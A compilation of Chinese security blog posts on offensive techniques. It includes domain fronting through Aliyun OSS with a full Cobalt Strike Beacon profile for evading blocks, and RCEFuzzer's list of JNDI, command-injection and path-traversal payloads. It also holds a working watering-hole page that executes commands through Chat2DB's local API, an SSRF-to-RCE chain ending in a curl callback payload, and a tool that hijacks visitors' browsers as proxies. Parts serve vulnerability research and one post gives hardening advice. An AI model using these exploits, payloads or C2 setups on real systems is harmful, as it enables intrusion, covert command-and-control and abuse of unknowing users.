但是 ?id=1&action=read 和 ?action=read&id=1 对于后端来说，是一致的，所以我理解的黑盒视角下资产结构如下所示：

请求方法:协议:域名:端口:URL路径:参数名称排序合集

除此类情况外，通过多层网关进行转发的请求也易出现不同参数指向不同后端的场景。

资产清洗

请求方法：

同一个路由，不同方法的时候对应的后端逻辑很好理解，比如常见的用请求方法来区分读写行为:

GET /file HTTP/1.1

Host: oss.aliyun.com

PUT /file HTTP/1.1

Host: oss.aliyun.com

中间部分 协议:域名:端口 与常见的资产概念相同，不做赘述, 像 Weblogic 那种做端口复用，同端口不同协议的在业务中比较少见。

URL 路径：

主要处理 路径变量、伪静态 这类情况，举个例子：

/api/news/1

/api/news/2

后端可能如下图代码所示，这两路由显然属于同一个逻辑，做清洗的时候需要识别出 id 这个路径变量，做归一处理。

参数排序集合：

为什么需要排序在上文中以及提到过，值得一提的是，取参数时应该解析完整的 query、body、formdata、json 。比如 JSON 应该遍历出所有的 JSON key 参与排序。

基础了解了，下面让我们实践清洗一下资产：

GET /api/news/1d8544e3-c8a3-96ad-468a-346b638205d7 HTTP/1.1

Host: test.com

GET /api/news/f75cfe2a-3f41-2769-3f0d-66b8ca995e46 HTTP/1.1

Host: test.com

GET /api/author/P10086 HTTP/1.1

Host: test.com

GET /api/author/WB10010 HTTP/1.1

Host: test.com

GET /api/taskname/shM8VNcx HTTP/1.1

Host: test.com

GET /api/taskname/djkoD8Rw HTTP/1.1

Host: test.com

GET /html/preview?c81e728d9d4c2f636f067f89cc14862c=f4f59e822581d785ba910fbf3f268eca79db8204&id=2 HTTP/1.1

Host: test.com

GET /html/preview?665f644e43731ff9db3d341da5c827e1=df2cd7104536553afde9f7d66133d578eccb4606&id=1 HTTP/1.1

Host: test.com

肉眼望过去，上述请求清洗下来就是5条资产，但后两条显然是同一个资产，这个例子一般用于防缓存，实践中研发有非常多奇奇怪怪的写法会导致一堆脏数据。

加一点清洗处理细节

路径处理时不同级路由之间用 / 切割开来做 int 、uuid、hash 类识别，并替换成占位符。此类字符结构固定，用正则处理即可。
递归解析所有嵌套的参数名，同样做字符类型识别，然后再参与去重排序。
将 URL路径:参数名称排序合集 字符切割交给随机字符识别模型进行处理，识别到的随机字符也替换成占位符。
拼接 请求方法:协议:域名:端口 后放入缓存，后续已缓存的则视作重复资产，不再入库。
重组并重放请求，识别响应是否为 404（主要针对 waf 类可能有脏数据，且无响应详情，业务又无脑响应状态码 200 的无法直接判断的情况）

值得一提的是这里提到的随机字符识别用不上大模型，本质上就是个文本分类问题（区分字符串是随机的，还是有意义的），有非常多成熟的算法和词库，自己训练一个成本很低，CPU 就能上。

写在后面

实践中在每天几千万访问的请求的业务环境下，Flink 清洗完在一两万条资产，比业务实际接口量多一些，还是挺稳的，很少出现脏数据，结合过往分享过的 fuzz 思路，作为在自动的安全测试流程中的一环，漏洞发现效果还是挺不错的；或者写几条sql查查容易存在漏洞的参数，也能挖到不少漏洞；再或者重放一下所有请求，做敏感信息识别；删掉 cookie 重放做未授权发现；统计一次访问频次，用来发现僵尸接口；怎么玩就看个人发挥了。

或者换个名词 -- API 安全，骗骗自己，唬唬甲方也不是不行

阅读原文

跳转微信打开

对抗小技巧：利用阿里云OSS做域前置

Fri, 10 May 2024 23:43:00 +0800

原创 duckbubi 2024-05-10 23:43 北京

对抗小技巧：利用阿里云OSS做域前置

简要说明

和以往的cdn/云函数做域前置相似，利用oss做前置的只是拓展玩法。

利用到的功能特性：OSS是支持回源到自定义地址的，套在c2前面就可以完成域前置操作。

配置方法

1.注册bucket并通过镜像回源功能将流量指向c2服务

2.开启bucket公共读权限（方便c2profile中写请求随机文件的情况）

3.创建aksk每秒删除一次bucket中的文件(避免回源一次oss将文件缓存到bucket中导致不再回源至c2)

4.修改c2profile中http-post中相关配置，改为通过GET发请求,参考如下 (因为oss不支持POST方法，也没法回源到c2 server)

# default sleep time is 60s
set sleeptime "60000";
# jitter factor 0-99% [randomize callback times]
set jitter    "0";
# indicate that this is the default Beacon profile
set sample_name "Cobalt Strike Beacon (Default)";
# this is the default profile. Make sure we look like Cobalt Strike's Beacon payload. (that's what we are, right?)
stage {
  set stomppe "false";
  set name    "beacon.dll";
  string "%d.%s";
  string "post";
  string "%s%s";
  string "cdn.%x%x.%s";
  string "www6.%x%x.%s";
  string "%s.1%x.%x%x.%s";
  string "%s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s";
  string "%s.3%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s";
  string "%s.2%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s";
  string "%s.2%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x.%x%x.%s";
  string "%s.2%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x.%x%x.%s";
  string "%s.1%08x%08x%08x%08x%08x%08x%08x.%x%x.%s";
  string "%s.1%08x%08x%08x%08x%08x%08x.%x%x.%s";
  string "%s.1%08x%08x%08x%08x%08x.%x%x.%s";
  string "%s.1%08x%08x%08x%08x.%x%x.%s";
  string "%s.1%08x%08x%08x.%x%x.%s";
  string "%s.1%08x%08x.%x%x.%s";
  string "%s.1%08x.%x%x.%s";
  string "api.%x%x.%s";
  string "unknown";
  string "could not run command (w/ token) because of its length of %d bytes!";
  string "could not spawn %s (token): %d";
  string "could not spawn %s: %d";
  string "Could not open process token: %d (%u)";
  string "could not run %s as %s\\%s: %d";
  string "COMSPEC";
  string " /C ";
  string "could not upload file: %d";
  string "could not open %s: %d";
  string "could not get file time: %d";
  string "could not set file time: %d";
  string "127.0.0.1";
  string "Could not connect to pipe (%s): %d";
  string "Could not open service control manager on %s: %d";
  string "Could not create service %s on %s: %d";
  string "Could not start service %s on %s: %d";
  string "Start servicesservices %s on %s";
  string "Could not query service %s on %s: %d";
  string "Could not delete service %s on %s: %d";
  string "SeDebugPrivilege";
  string "SeTcbPrivilege";
  string "SeCreateTokenPrivilege";
  string "SeAssignPrimaryTokenPrivilege";
  string "SeLockMemoryPrivilege";
  string "SeIncreaseQuotaPrivilege";
  string "SeUnsolicitedInputPrivilege";
  string "SeMachineAccountPrivilege";
  string "SeSecurityPrivilege";
  string "SeTakeOwnershipPrivilege";
  string "SeLoadDriverPrivilege";
  string "SeSystemProfilePrivilege";
  string "SeSystemtimePrivilege";
  string "SeProfileSingleProcessPrivilege";
  string "SeIncreaseBasePriorityPrivilege";
  string "SeCreatePagefilePrivilege";
  string "SeCreatePermanentPrivilege";
  string "SeBackupPrivilege";
  string "SeRestorePrivilege";
  string "SeShutdownPrivilege";
  string "SeAuditPrivilege";
  string "SeSystemEnvironmentPrivilege";
  string "SeChangeNotifyPrivilege";
  string "SeRemoteShutdownPrivilege";
  string "SeUndockPrivilege";
  string "SeSyncAgentPrivilege";
  string "SeEnableDelegationPrivilege";
  string "SeManageVolumePrivilege";
  string "Could not create service: %d";
  string "Could not start service: %d";
  string "Failed to impersonate token: %d";
  string "Failed to get token";
  string "IsWow64Process";
  string "kernel32";
  string "Could not open '%s'";
  string "%s\\%s";
  string "copy failed: %d";
  string "move failed: %d";
  string "D  0  %02d-%02d-%02d %02d.%02d.%02d  %s";
  string "F  %I64d  %02d-%02d-%02d %02d.%02d.%02d  %s";
  string "Wow64DisableWow64FsRedirection";
  string "Wow64RevertWow64FsRedirection";
  string "ppid %d is in a different desktop session (spawned jobs may fail). Use 'ppid' to reset.";
  string "could not allocate %d bytes in process: %d";
  string "could not write to process memory: %d";
  string "could not adjust permissions in process: %d";
  string "could not create remote thread in %d: %d";
  string "could not open process %d: %d";
  string "%d is an x64 process (can't inject x86 content)";
  string "%d is an x86 process (can't inject x64 content)";
  string "syswow64";
  string "system32";
  string "Could not set PPID to %d: %d";
  string "Could not set PPID to %d";
  string "ntdll";
  string "NtQueueApcThread";
  string "%ld  ";
  string "%.2X";
  string "%.2X:";
  string "process";
  string "Could not connect to pipe: %d";
  string "%d  %d  %s";
  string "Kerberos";
  string "kerberos ticket purge failed: %08x";
  string "kerberos ticket use failed: %08x";
  string "could not connect to pipe: %d";
  string "could not connect to pipe";
  string "Maximum links reached. Disconnect one";
  string "%d  %d  %d.%d  %s  %s  %s  %d  %d";
  string "Could not bind to %d";
  string "IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/')";
  string "%%IMPORT%%";
  string "Command length (%d) too long";
  string "IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s";
  string "powershell -nop -exec bypass -EncodedCommand \"%s\"";
  string "?%s=%s";
  string "%s and %s = %s";
  string "%s%s: %s";
  string "%s&%s";
  string "%s%s";
  string "Could not kill %d: %d";
  string "%s  %d  %d";
  string "%s  %d  %d  %s  %s  %d";
  string "%s\\*";
  string "sha256";
  string "abcdefghijklmnop";
  string "sprng";
  string "could not create pipe: %d";
  string "I'm already in SMB mode";
  string "%s {admin}";
  string "Could not open process: %d (%u)";
  string "Failed to impersonate token from %d (%u)";
  string "Failed to duplicate primary token for %d (%u)";
  string "Failed to impersonate logged on user %d (%u)";
  string "Could not create token: %d";
  string "HTTP/1.1 200 OK";
  string "Content-Type: application/octet-stream";
  string "Content-Length: %d";
  string "Microsoft Base Cryptographic Provider v1.0";
}
# define indicators for an HTTP GET
http-get {
  set uri "/wiki/doc";
  client {
    metadata {
      base64url;
      prepend "SESSIONID=";
      header "Cookie";
    }
  }
  server {
    header "Server" "nginx/1.10.3 (Ubuntu)";
        header "Content-Type" "application/octet-stream";
          header "Connection" "keep-alive";
          header "Vary" "Accept";
          header "Pragma" "public";
      header "Cache-Control" "no-cache";
          header "Expires" "0";
          header "Cache-Control" "must-revalidate, post-check=0, pre-check=0";
    output {
      mask;
      netbios;
      prepend "data=";
      append "%%";
      print;
    }
  }
}
http-post {
  set uri "/wiki/IMXo";
  set verb "GET";
  client {
        header "Sec-Ch-Ua" "\" Not;A Brand\";v=\"99\", \"Google Chrome\";v=\"97\", \"Chromium\";v=\"97\"";
        header "Sec-Ch-Ua-Mobile" "?0";
        header "Sec-Ch-Ua-Platfrom" "Windows";
        header "Accept" "*/*";
        header "Origin" "Google";
        header "Sec-Fetch-Site" "same-origin";
        header "Sec-Fetch-Mode" "no-cors";
        header "Sec-Fetch-Dest" "empty";
        header "Referer" "https://www.google.com";
        header "Accept-Language" "en-US,en;q=0.9";
        output {
            base64url;
            header "X-Client-Data";
        }
        id {
            base64url;
            parameter "ei";
        }
    }
  server {
        header "Content-Type" "text/html; charset=UTF-8";
        header "Bfcache-Opt-In" "unload";
        header "Server" "gws";
        header "X-Xss-Protection" "0";
        header "X-Frame-Origins" "SAMEORIGIN";
        header "Alt-Svc" "h3=\":443\"; ma=2592000,h3-29=\":443\"; ma=2592000,h3-Q050=\":443\"; ma=2592000,h3-Q046=\":443\"; ma=2592000,h3-Q043=\":443\"; ma=2592000,quic=\":443\"; ma=2592000; v=\"46,43\"";
        output {
            netbios;        
            prepend "\n";
            prepend "{";
            append "\n";
            append "}";
            print;
        }
    }
}
post-ex {
    set spawnto_x86 "c:\\windows\\syswow64\\rundll32.exe";
    set spawnto_x64 "c:\\windows\\system32\\rundll32.exe";
    
    set thread_hint "ntdll.dll!RtlUserThreadStart+0x1000";
    set pipename "DserNamePipe##, PGMessagePipe##, MsFteWds##";
    set keylogger "SetWindowsHookEx";
}
# define indicators/attributes for a DNS Beacon
dns-beacon {
    # maximum number of bytes to send in a DNS A record request
    set maxdns    "255";
    set beacon "";
    set get_A "cdn.";
    set get_AAAA "www6.";
    set get_TXT "api.";
    set put_metadata "www.";
    set put_output "post.";
}

5.配置listener指向bucket

上线测试

思路拓展

1.和cdn的域前置玩法一样，可以采集各地区oss的指向的ip list，host绑定，随机轮询IP访问，能够规避单个ip被封的情况。

2.注册n个地区的oss bucket，每个地区又注册n个bucket，避免bucket域名被封，不同地区域名天然轮询到的IP就不同，可进一步避免被封。

不用租户之间的bucket指向的ip池上一样的，不会真的有甲方把会把全球oss的ip全封了吧🐶

阅读原文

跳转微信打开

RCEFuzzer - 被动扫描与fuzz上一些思路的实现

Mon, 25 Dec 2023 22:55:00 +0800

原创 thekingofduck 2023-12-25 22:55 北京

这是一个以 fuzz 为中心思想的被动扫描工具，多数扫描器的工作逻辑是以已知漏洞去冲目标，然后根据条件判断是否存在这个已知的漏洞；RCEFuzzer的工作逻辑是以通用 payload 去污染目标的参数，然后根据条件判断是否存在未知漏洞。

写在前面

1. 这是大概三年前的版本，基本已经停止维护，除非严重 Bug 外不考虑更新。

2. 这个版本是以 Burp 插件的形式存在，新版本是独立的系统，仅在 JJ Team 开放使用。

3. 仅开放 Release 版本作为交流学习使用， jar 没做混淆，实际上和放代码差别不大，作为交流学习使用我认为足够了，拿着源代码做细微调整意义不大，研究学习建议重构。

4. 欢迎交流学习～

工具地址

https://github.com/TheKingOfDuck/RCEFuzzer

基础介绍

这是一个以 fuzz 为中心思想的被动扫描工具，多数扫描器的工作逻辑是以已知漏洞去冲目标，然后根据条件判断是否存在这个已知的漏洞；RCEFuzzer 的工作逻辑是以通用 payload 去污染目标的参数，然后根据条件判断是否存在未知漏洞。

举个例子，假设被动收集到的流量是：

POST /sys/customer/list HTTP/1.1
Host: www.baidu.com
Content-Length: 23
Content-Type: application/json;charset=UTF-8
{"key1":"value1","key2":"eyJpbm5lcmtleTEiOiJpbm5lcnZhbHVlMSJ9","id":1,"isLogin":false,"key3":{"innerkey2":"{\"k3\":\"v3\"}"}}

如果配置了三条通用的 payload ：

${jndi:ldap://dnslog/log4j}
`whoami`.dnslog
{"@type":"java.net.Inet4Address","val":"dnslog"}

那么 RCEFuzzer 的参数污染模块将对目标发起以下请求：

污染 key1 的值然后分别发包
污染 key2 的值然后分别发包
尝试自动解码 key2 ，并污染子 JSON 的 innerkey1 的值然后分别发包
污染 key3 的值然后分别发包。
污染 key3 的子 JSON 的 innerkey2 的值，然后分别发包。
尝试解析 innerkey2 ，并污染子JSON的 k3 的值然后分别发包

理论上总的请求量是 3*6=18 次。这仅是参数污染模块，如果带上其他模块，那请求量可能是 50 。如果 payload 写得多点，原流量大一点，那么可能是 5000 次。

流量过大注定他没法在常规日站的场景使用，给目标写入一堆脏数据，那就得不偿失了。

对自己日常自己跑起来要挖洞的系统，测试类环境的系统就无所谓。

资产去重

上面提到流量会非常大，选出需要污染的流量就尤为重要，降低扫描基数，扫描流量也将大幅下降，那么在这个方向上我做了哪些尝试呢：重点参考

https://blog.thekingofduck.com/post/url-normalize-in-passive-scan/

除最基本的静态资源去重外，这里面还提到了关于 urlpath 、 query 等的处理的思路，但是不够完全，细心一点的会发现上文中提到的流量：

{"key1":"value1","key2":"eyJpbm5lcmtleTEiOiJpbm5lcnZhbHVlMSJ9","id":1,"isLogin":false,"key3":{"innerkey2":"{\"k3\":\"v3\"}"}}

这里面的 id 和 isLogin 是没有污染的，因为大部分后端语言都会定义好参数类型，对于整数型、布尔型的参数没有太大污染的必要，徒增报错罢了，除此之外流量中常见 uuid 、hash 等常见格式的值也会跳过污染，进一步缩减流量。

这里需要单独再提一下，实践中有很多确认是重复的，比如：

/order/S09834FVD

/order/S07C34FDCCVX

显然两条流量对应了同一后端，是重复的，没必要都扫，但他没有像 uuid 或 md5 一样的固定特征，正则没法解决，看到一些同行的解决方案是上大模型去识别，颇有种工作饱和了没事干的感觉，本质上是区分文本是否为随机的，即将文本分为是否随机两种类型，业界有非常多成熟的文本分类模型训练教程，现成的模型，不用 GPU 就可以快速解决问题。

扫描模块

开放的版本中功能覆盖的有限，仅简单介绍一些思路。核心逻辑是递归追加/替换污染，对嵌套的 from-data 、json 、xml 、soap 等进行自动解码、污染、再编码。

JSON 污染

对 JSON 污染我个人理解分为以下两类：

键值污染：对于字符串类型的键值进行增加或替换的污染，除了污染成正常的资产 payload 之外，还可污染成 python 的结构体。
替换污染：对整个 JSON 进行替换，换成指定的 payload ，这里主要针对 FastJson 这样的漏洞。

具体一点的例子：

{"innerkey1":"innervalue1"}

可以污染成：

{"innerkey1":__import__('socket').gethostbyaddr('dnslog')} 
{"innerkey1":"${jndi:ldap://dnslog/jsonkey}"} 
{"innerkey1":"innervalue1","@type":"java.net.Inet4Address","val":"dnslog"} 
{"innerkey1":{"@type":"java.net.Inet4Address","val":"dnslog"}} 
{"@type":"java.net.Inet4Address","val":"dnslog"}

几种漏洞类型都挺常见的。

header 污染

和JSON污染一样：

键值污染：对 header 键值进行增加或替换的污染。
替换污染：对所有 header 的键值污染成指定 payload 。

举个例子：

GET / HTTP/1.1
Host: www.baidu.com
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
Connection: close
Cache-Control: max-age=0

可以污染成

GET / HTTP/1.1
Host: www.baidu.com
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: ${jndi:ldap://dnslog/jsonkey}
Connection: close
Cache-Control: max-age=0
X-Forwarded-For: `whoami`.dnslog
X-Api-Version: ${jndi:dns://dnslog/456}

像 Host 、Connection 、Content-Type 这类 header 应该跳过污染，避免对请求本身造成影响，一次性替换全部 header 的键值这种纯粹是为了 log4j 这种 payload 打过去省事，暴力出奇迹。

参数污染

JSON 场景下一般就嵌套下转义后或编码后的 JSON ，但 form-data 表单中有非常多出现嵌套其他类型数据的情况，比如参数中嵌套 JSON ，嵌套 XML ，从某些 OA 中能够看出研发为了兼容做的不少 🐂 事。

同样分为两种模式：

替换污染：常规的命令注入、SQL 注入等等
追加污染：后端带判断类的，如校验传入值包含指定字符串时，追加模式将会非常管用。

还是举个例子：

https://www.baidu.com/admin/load?host=127.0.0.1&config=eyJpbm5lcmtleTEiOiJpbm5lcnZhbHVlMSJ9

可以污染成：

https://www.baidu.com/admin/load?host=dnslog&config=eyJpbm5lcmtleTEiOiJpbm5lcnZhbHVlMSJ9
https://www.baidu.com/admin/load?host=127.0.0.1@dnslog&config=eyJpbm5lcmtleTEiOiJpbm5lcnZhbHVlMSJ9
https://www.baidu.com/admin/load?host=127.0.0.1&config=eyJpbm5lcmtleTEiOiJgd2hvYW1pYC5kbnNsb2cifQ==
...

为什么要做追加模式在第二个 case 中就可以看出。

SSRF

代码抄自：

https://github.com/ethicalhackingplayground/ssrf-king

作者基本覆盖了常见代码产生的 SSRF 和配置错误导致的 SSRF ，非常受用。这里只是封装了嵌套解析，其他改动不大。

其他模块

还有很多了其他模块，如响应匹配、文件上传污染、SOAP 请求污染等，但并未在该版本中实现，不再一一介绍。

使用技巧

需要有配套的dnslog：

https://admin.xxxx.com/logs?token=xxxxxx&type=dns&q=KEY
https://admin.xxxx.com/logs?token=xxxxxx&type=http&q=KEY

KEY 是占位符，不能改动其他无所谓。

配置文件如下：

###
#
# 配置说明:
#    1.tweb的配置是必须要改的, 不改显示不了漏洞
#    2.白名单的优先级是高于黑名单的
#    3.所有配置都是可以动态改的, 不用重新加载插件
# 使用说明:
#    https://www.wolai.com/gS5UWgMmHG4ynJQgzL3AYk
###
config:
  version: |  # 插件版本
    0.5
  twebdomain: | # tweb 子域名配置
    xxx.xx.com
  twebapi: |  # tweb api配置 其中KEY为展位符,在新旧版本的tweb均可在Profile页面找到
    https://admin.xxxx.com/logs?token=xxxxxx&type=dns&q=KEY
  timeout: |  # 扫描过程中的超时配置 非tweb请求超时设置 单位毫秒 60000为60秒
    60000
  hostBlacklistReg: |  # 禁止扫描的域名列表
    (.+?)(gov\.cn|edu\.cn|tweb|google|gstatic)(.+?)
  extBlacklist: |  # 禁止扫描的后缀列表,这不是正则，本来想从passive-scan-client中抄代码的,结果发现他有bug...
    .js|.css|.jpeg|.gif|.jpg|.png|.pdf|.rar|.zip|.docx|.doc|.ico
jsonPollution:
  status:  #on为开启 off为关闭
    on
  allin: | #替换整个json数据包
    {"@type":"java.net.Inet4Address","val":"dnslog"}
  value: | #仅污染json的键值 为了python eval那种情况考虑 不加双引号包裹的话污染结果类似{"test":__import__('os')} {"test":"{\"dtaa\":__import__('os')}"}
    "${jndi:ldap://dnslog/jsonkey}"
    __import__('socket').gethostbyaddr('dnslog')
paramPollution:
  status: #on为开启 off为关闭
    on
  exprs: | #为了兼容有回显的表达式注入/代码执行漏洞
    {{9527*2333}}|22226491
    ${T(java.lang.System).getenv()}|JAVA_HOME
    ${T+++++++(java.lang.System).getenv()}|JAVA_HOME
    {php}var_dump(md5(9527));{/php}|52569c045dc348f12dfc4c85000ad832
    {if+var_dump(md5(9527))}{/if}|52569c045dc348f12dfc4c85000ad832
    ../../../../../../../../../../../../../../../etc/passwd|root
  value: |
    dnslog
    ${jndi:ldap://paramPollution.dnslog/log4j}
    `whoami`.dnslog
    http://dnslog/
    ping+-nc+1+dnslog
headerPollution:
  status: #on为开启 off为关闭
    on
  allin: | #一次性污染除了url和host外的所有请求头
    ${jndi:dns://dnslog/456}
    ${jndi:ldap://dnslog/789}
  headers: | #添加的请求头如果原数据包有则追加原值污染 无则添加后再发包 竖线|为key和value的分隔符号。
    X-Forwarded-For|${jndi:dns://dnslog/456}
    X-Api-Version|${jndi:dns://dnslog/456}
ssrfPollution:
  status: #on为开启 off为关闭
    on
responseMatch:
  status: #on为开启 off为关闭
    off
  expr: | #添加的请求头如果原数据包有则覆盖原值污染 无则添加后再发包
    thinkphp:error

参数污染中 exprs 部分的配置以 | 作为切割，区分请求和响应，用于回显漏洞的检测。tweb 处配置 dnslog 的子域名和 api 查询的 url 即可。

写在最后

RCEFuzzer 在实践中直接或间接的为我贡献了几十个的 RCE ，不少系统通过点点就可轻易收割漏洞点，进而撕开口子，拿到代码，进一步审计得到更有价值的洞，是生产漏洞的重要一环，也希望能为各位贡献新的RCE！

最后的最后，特别要提的是 RCEFuzzer 中不少思路都来源于 c26root （即大 6 老师）的指点，大 6 老师才是真正的神，大 6 老师🐮🍺！

阅读原文

跳转微信打开

利用Chat2DB溯源攻击者

Thu, 02 Nov 2023 16:00:00 +0800

原创 nobody 2023-11-02 16:00 中国香港

利用Chat2DB功能特性溯源攻击者

关于工具

Chat2DB 是一款由阿里巴巴开源免费的多数据库客户端工具，支持 windows、mac 本地安装，也支持服务器端部署，web网页访问。和传统的数据库客户端软件 Navicat、DBeaver 相比 Chat2DB 集成了 AIGC 的能力，能够将自然语言转换为 SQL，也可以将 SQL 转换为自然语言，可以给出研发人员 SQL 的优化建议，极大的提升人员的效率，是 AI 时代数据库研发人员的利器，不懂 SQL 的运营或业务也可以轻松使用快速查询业务数据、生成报表的能力。

杜绝废话

水坑页面：

<html>
<title>chat2dbtitle>
<meta charset="utf-8" />
<script type="text/javascript">
    async function checkEnv() {
        const url = 'http://127.0.0.1:10824/api/jdbc/driver/list?dbType=H2';
        try {
            const response = await fetch(url);
            if (response.ok) {
                const data = await response.json();
                const driverConfigList = data.data.driverConfigList;
                if (Array.isArray(driverConfigList) && driverConfigList.length > 0) {
                    return true;
                } else {
                    return false;
                }
            } else {
                return false;
            }
        } catch (error) {
            console.error(error);
            return false;
        }
    }
    async function download() {
        const url = 'http://127.0.0.1:10824/api/jdbc/driver/download?dbType=H2';
        try {
            const response = await fetch(url);
            if (response.ok) {
                const data = await response.json();
                const success = data.success;
                if (success) {
                    return true;
                } else {
                    return false;
                }
            } else {
                return false;
            }
        } catch (error) {
            console.error(error);
            return false;
        }
    }
    function exploit() {
        var data = {
            ssh:
            {
                use: false, hostName: "", port: "22", userName: "", localPort: "", authenticationType: "password", password: ""
            },
            driverConfig:
            {
                jdbcDriverClass: "org.h2.Driver"
            },
            alias: "@localhost", environmentId: 1, host: "localhost", port: "9092", authenticationType: "1", user: "root", password: "123", database: "123", url: "jdbc:h2:mem:test;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;", extendInfo: [{ key: "init", value: "CREATE ALIAS IF NOT EXISTS vulcheck AS CONCAT('void e(String cmd) throws java.io.IOException{','java.lang.Runtime rt= java.lang.Runtime.getRuntime();rt.exec(cmd);}');CALL vulcheck('open -a Calculator');" }],
            connectionEnvType: "DAILY", type: "H2"
        }
        var xhr = new XMLHttpRequest();
        xhr.open('POST', 'http://127.0.0.1:10824/api/connection/datasource/pre_connect', true);
        xhr.setRequestHeader("Content-Type", "application/json; charset=utf-8");
        xhr.send(JSON.stringify(data));
    }
    checkEnv()
        .then(result => {
            console.log('[+] env:', result);
            exploit()
        })
        .catch(error => {
            console.error('[-] env:', error);
            download()
                .then(result => {
                    console.log('[+] download:', result);
                    exploit()
                })
                .catch(error => {
                    console.error('[-] download:', error);
                });
        });
script>
<body>
    <h1>chat2dbh1>
body>
html>

安全建议

1.作为客户端，web服务不应该不做鉴权还监听0.0.0.0，同内网环境下等于裸奔。

2.作为客户端，web服务应当禁止跨域调用，或可配置选项，不然用户访问的任意页面均有可操作客户端所有API，保存的账密之类的东西就等于是别人的,造成隐患。

3.作为服务端，这里特指提供给团队公用(多人公用)的情况应该做权限隔离，做执行环境隔离，避免因jdbc驱动上传功能，以及驱动本身安全问题导致的一系列安全问题。如果这个工具整体的定位就只是给个人使用，非团队工具的话，我认为整体做好鉴权即可，jdbc安全问题可忽略。

阅读原文

跳转微信打开

某安全产品鸡肋SSRF到RCE

Wed, 30 Aug 2023 20:40:00 +0800

原创 bubi 2023-08-30 20:40 澳大利亚

21年挖的某安全产品的漏洞，现在回去看还是觉得蛮有意思的，整理重发一下，有空再写写某远OA部分版本的类似该洞的一个洞，也蛮有意思。

0x01 起

系统有session秘钥硬编码的问题，自己生成cookie就可以登录，漏洞来到后台功能上。

该产品为了考虑到部署环境不出网的情况，升级功能做成了可配置自定义的升级服务器，检查升级后会触发向特定路由发送公钥，与升级逻辑做一些列的校验，从安全角度看这是只能发

POST

包，且路由和参数均不可控的鸡肋

SSRF

。

如下图，

**_update

是从用户自定义的配置中取的，与固定的

route

变量拼接后作为发送文件的

url

这里请求用到的requests模块默认会跟随状态码

30X

跳转，可利用该特性将这个

SSRF

变成一个

GET

类型的路由和参数均可控的

SSRF，

或者请求方法不变，内容不变，路由可控的

SSRF

，

RCE

压力给到内部服务。

配套知识：

requests对

30X

状态码调整遵循以下规则(实际上大部分http请求库都会遵循)

304,305,306,309: 会保持原来的请求方法,但不会跳转。307,308: 会保持原请求方法,并且跳转。301,302,303: 状态码则会将请求方法转化为GET。

0x02 承

受这个

SSRF

本身的限制，寻找内部服务漏洞时优先看请求方式为

GET

的路由，筛选后找到一个符合条件的漏洞点如下图所示，传入的

doc_file_path

参数可控，如果文件名中能带入自己的恶意

Payload

且文件能够存在的情况下，拼接到

cmd

变量中后有机会

RCE

。

走到命令拼接的前置条件是文件存在，故先查看上传部分代码，如下图所示，mkstemp方法的作用是以最安全的方式创建一个临时文件，该文件的文件名随机，创建后不会自动删除，需用户自行将其删除，

suffixs

是指定的后缀，也就是说文件虽然可以落地，但文件名不可控，无法拼接自己的

Payload

。

此时只能作为一个任意文件删除的漏洞来使用，配置升级链接

301

跳转到

http://127.0.0.1:8848/api/doc?doc_file_path=/etc/passwd

，其中

doc_file_path

参数为已知的存在的文件，点击系统升级按钮即可触发删除操作。

0x03 转

继续分析代码，阅读大量代码后找到一处上传文件的功能点如下图所示，其中

file_pre

为源文件名，拼接下划线，时间戳以及

.txt

后保存并返回了完整的文件路径，正好符合上面的要求。

源文件名可控，路径已知，

SSRF

升级

RCE

变得索然无味，使用分号切割命令语句，带参数的命令可以使用

${IFS}

绕一下空格问题，涉及到的

${;

均为unix系统文件名允许使用范围的字符。

0x04 合

硬编码秘钥 -> 请求方法路由参数均不可控的鸡肋后台

SSRF

requests

30X

跳转特性 -> 参数和路由均可控的

GET

类型

SSRF

-> 内部服务文件名部分可控的文件上传-> 内部鸡肋服务RCE -> 前台RCE

最终Payload如下:

http://127.0.0.1:8848/api/doc?doc_file_path=/opt/work/files/target_file/admin/;curl${IFS}rce.me;_1623123227304.txt

配置完成手动点击一下升级功能即可触发命令执行。

阅读原文

跳转微信打开

利用yakit功能特性溯源攻击者

Thu, 10 Aug 2023 21:50:00 +0800

2023-08-10 21:50 北京

利用yakit功能特性溯源攻击者

杜绝废话，随便在页面上嵌入一个js，内容是：

可自由发挥，读任意文件。

原因：yakit默认不会对经过MITM PROXY的流量中的fuzztag进行解析，但是经过插件时会被解析，所以这也是利用限制。

顺便吐槽：yakit跑起来卡卡的，啥时候能优化到和burp一样啊。

阅读原文

跳转微信打开

JsProxy: 所到之处皆为代理节点

Fri, 14 Jul 2023 19:27:00 +0800

原创 duckbubi 2023-07-14 19:27 北京

一个利用浏览器当代理的demo项目，让所有访问者的浏览器成为自己的代理池，所到之处皆为代理节点.

项目简介

这是一个利用浏览器当代理的 demo 项目，让所有访问者的浏览器成为自己的代理池，所到之处皆为代理节点。

项目使用了以下技术栈：

ServiceWorker + Go WebAssembly + WebSocket + Http Proxy

项目主要分为两个部分：

1. 客户端：用 sw 将 wasm 程序驻留在浏览器，然后通过 ws 与服务端建立联系，执行完服务端发送的请求后传给服务端做进一步处理。

2. 服务端：监听了两个端口，一个是 http 代理端口，一个是 ws 端口， http 代理端口收到请求信息后通过 ws 传给访问者浏览器的 wasm 程序来处理。

使用说明

# 编译wasm

git clone https://github.com/TheKingOfDuck/jsproxy.git

cd jsproxy

#修改第82行中的localhost为自己的ip

nano client/agent.go

./build.sh

# 启动http server

cd server

go mod tidy

go run httpserver.go

# 启动主程序

go run ws.go

使用场景

